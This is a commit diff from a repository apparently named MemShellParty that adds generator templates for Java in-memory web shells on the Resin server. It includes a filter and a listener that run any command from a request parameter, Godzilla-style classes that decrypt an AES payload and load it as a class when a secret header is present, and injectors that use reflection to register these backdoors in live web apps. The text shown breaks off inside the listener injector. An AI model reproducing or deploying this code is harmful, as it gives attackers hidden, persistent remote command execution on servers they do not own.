mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
feat: support resin shell generate
This commit is contained in:
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Constants;
|
||||||
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memsell.AbstractShell;
|
||||||
|
import com.reajason.javaweb.memsell.resin.command.CommandFilter;
|
||||||
|
import com.reajason.javaweb.memsell.resin.command.CommandListener;
|
||||||
|
import com.reajason.javaweb.memsell.resin.godzilla.GodzillaFilter;
|
||||||
|
import com.reajason.javaweb.memsell.resin.godzilla.GodzillaListener;
|
||||||
|
import com.reajason.javaweb.memsell.resin.injector.ResinFilterInjector;
|
||||||
|
import com.reajason.javaweb.memsell.resin.injector.ResinListenerInjector;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class ResinShell extends AbstractShell {
|
||||||
|
@Override
|
||||||
|
public List<ShellTool> getSupportedShellTools() {
|
||||||
|
return List.of(ShellTool.Godzilla, ShellTool.Command);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
|
||||||
|
Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
|
||||||
|
Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin.command;
|
||||||
|
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
public class CommandFilter implements Filter {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
|
String cmd = servletRequest.getParameter(paramName);
|
||||||
|
try {
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void destroy() {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
+70
@@ -0,0 +1,70 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin.command;
|
||||||
|
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
|
import javax.servlet.ServletRequestEvent;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class CommandListener implements ServletRequestListener {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
public CommandListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestDestroyed(ServletRequestEvent sre) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
|
HttpServletResponse response = null;
|
||||||
|
response = (HttpServletResponse) getFieldValue(request, "_response");
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
}
|
||||||
+127
@@ -0,0 +1,127 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin.godzilla;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
|
public GodzillaFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaFilter(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Class<?> Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (InstantiationException | IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
+144
@@ -0,0 +1,144 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin.godzilla;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.ServletRequestEvent;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
|
public GodzillaListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaListener(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
|
public Class<?> Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null
|
||||||
|
&& request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute(
|
||||||
|
"payload",
|
||||||
|
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
response.flushBuffer();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
|
HttpServletResponse response = null;
|
||||||
|
response = (HttpServletResponse) getFieldValue(request, "_response");
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
}
|
||||||
+221
@@ -0,0 +1,221 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin.injector;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ResinFilterInjector {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new ResinFilterInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResinFilterInjector() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addFilter(Object context, Object filter) throws Exception {
|
||||||
|
String filterClassName = filter.getClass().getName();
|
||||||
|
if (isInjected(context, filterClassName)) {
|
||||||
|
System.out.println("filter already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Class<?> filterMappingClass;
|
||||||
|
try {
|
||||||
|
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||||
|
} catch (Exception e) {
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||||
|
}
|
||||||
|
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||||
|
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
|
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
|
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
|
||||||
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
invokeMethod(urlPattern, "init");
|
||||||
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
invokeMethod(context, "clearCache");
|
||||||
|
System.out.println("filter injected");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
System.out.println("filter inject failed");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
try {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
Class<?> servletInvocationClass = null;
|
||||||
|
try {
|
||||||
|
servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
} catch (Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (servletInvocationClass != null) {
|
||||||
|
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
|
if (webApp != null) {
|
||||||
|
contexts.add(webApp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return Arrays.asList(contexts.toArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
|
||||||
|
for (String key : filters.keySet()) {
|
||||||
|
if (key.contains(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
+194
@@ -0,0 +1,194 @@
|
|||||||
|
package com.reajason.javaweb.memsell.resin.injector;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ResinListenerInjector {
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new ResinListenerInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResinListenerInjector() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
injectListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void injectListener(Object context, Object listener) throws Exception {
|
||||||
|
if (!isInjected(context, listener.getClass().getName())) {
|
||||||
|
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||||
|
// 清除缓存,否则某些 uri 无法连接
|
||||||
|
invokeMethod(context, "clearCache");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
try {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
Class<?> servletInvocationClass = null;
|
||||||
|
try {
|
||||||
|
servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
} catch (Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (servletInvocationClass != null) {
|
||||||
|
